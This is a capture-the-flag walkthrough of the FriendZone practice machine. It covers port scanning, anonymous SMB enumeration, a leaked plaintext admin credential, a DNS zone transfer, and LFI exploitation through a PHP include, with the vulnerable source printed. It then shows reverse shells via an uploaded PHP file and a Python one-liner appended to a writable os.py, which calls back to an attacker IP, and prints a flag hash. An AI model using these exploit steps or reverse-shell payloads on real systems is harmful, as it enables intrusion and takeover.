FriendZone
Difficulty: Medium +
Score: 6.5/10
Target
- 2 flags
Process
Port Scan
Lots of ports open, including FTP (21), SSH (22), DNS (53), HTTP (80), HTTPS (443), and SMB (139/445):
sudo nmap -p- -sS --min-rate=10000 10.10.10.123
sudo nmap -p 21,22,53,80,443,139,445 -A --min-rate=10000 10.10.10.123
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-11 16:55 EST
Nmap scan report for 10.10.10.123
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
137/tcp closed netbios-ns
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -48m13s, deviation: 1h09m16s, median: -8m14s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2019-02-11T23:47:26+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-11 16:47:26
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.81 seconds
SMB Service
I’ll go to smbmap
for a quick look at the shares and my permissions:
smbmap -H 10.10.10.123
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.123...
[+] IP: 10.10.10.123:445 Name: friendzone.red
Disk Permissions
---- -----------
print$ NO ACCESS
Files NO ACCESS
general READ ONLY
Development READ, WRITE
IPC$ NO ACCESS
I can get a similar list (without Permissions) from smbclient
using -N
for null session (or no auth) and -L
to list:
smbclient -N -L //10.10.10.123
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP FROLIC
It’s interesting to see the comment on Files
as /etc/Files
. I can guess that perhaps general
and Development
follow the same pattern. But I don’t have to guess, as there’s one more thing that’s particularly useful here - the nmap
script, smb-enum-shares.nse
.
nmap --script smb-enum-shares.nse -p445 10.10.10.123
Nmap scan report for friendzone.red (10.10.10.123)
Host is up (0.017s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.123\Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 1
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.123\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.10.123\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 5.62 seconds
The general share has a single file, but it looks like it’ll be useful:
smbclient -N //10.10.10.123/general
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 15:10:51 2019
.. D 0 Sun Feb 10 20:46:10 2019
creds.txt N 57 Tue Oct 9 19:52:42 2018
9221460 blocks of size 1024. 5795120 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
DNS Zone Transfer
TCP is only used in DNS when the response size is greater than 512 bytes. Typically this is associated with Zone Transfers, where the server give all the information it has for a domain. There’s a few things I could try to enumerate DNS, but the fact that the host is listening on TCP 53 suggests the first thing I should try is a Zone Transfer.
dig axfr friendzone.red @10.10.10.123
┌──(Kelpie💀Banshee)-[~/opt/HTB/FriendZone]
└─$ dig axfr friendzone.red @10.10.10.123
; <<>> DiG 9.18.0-2-Debian <<>> axfr friendzone.red @10.10.10.123
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 256 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Fri Feb 11 11:07:08 EST 2022
;; XFR size: 8 records (messages 1, bytes 289)
put all dns zone into the hosts file
┌──(Kelpie💀Banshee)-[~/opt/HTB/FriendZone]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 Leviathan
10.10.10.43 nineveh.htb
10.10.10.88 tartarsauce.htb
10.10.10.123 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red friendzoneportal.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Local file inclusion
access the https://administrator1.friendzone.red and login with the credential which we got in the smb service
This site is “untested application” with some sloppy text including an error message:
If I add the suggested parameters to the url and visit [https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp](https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp)
:
Find LFI
pagename
Since the given example case is timestamp
, and there’s a timestamp.php
in the same directory, I can assume that this is likely doing a include($_GET["pagename"] . ".php")
. I can test this by having it point to other php pages.
Visiting [https://administrator1.friendzone.red/login.php](https://administrator1.friendzone.red/login.php)
returns
Read PHP Source
I can use this LFI to read source code for these pages using php filters. If I visit pagename=php://filter/convert.base64-encode/resource=dashboard
, I can see a long base64 string on the page:
Decoding that gives me the source for the page:
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
Get www-data shell
We can use the pagename to access the /etc/Development which directory is readable and writable for us. So we can use the smb to put the reverse-shell php file in the Development directory and use the LFI vulnerbility to get shell.
root@kali# smbclient -N //10.10.10.123/Development
Try "help" to get a list of possible commands.
smb: \> put php-reverse-shell.php abc.php
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../etc/Development/abc
OK we get the initial shell as www-data
┌──(Kelpie💀Banshee)-[~/opt/HTB/FriendZone]
└─$ rlwrap nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.123] 32850
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
18:40:18 up 2:25, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
get the friend user flag
cat /home/f*/u*
a9ed20acecd6c5b6b52f474e15ae9a11
Privesc to root
We found the root priv python file in the /opt/server_admin, that’ the point we can privsec by this awesome file.
ls -al /opt
#!/usr/bin/python
import os
to_address = "[email protected]"
from_address = "[email protected]"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
The file import the os.py file, but we can’t do any command injections with this file. There aren’t any para to input..(Damn it
OS file is writable
Oh we find the python os.py is writable!
find / -writable -type f 2>/dev/null -ls | grep root
append the reverse shell to the os.py
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.11\",4447));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")" >> /usr/lib/python2.7/os.py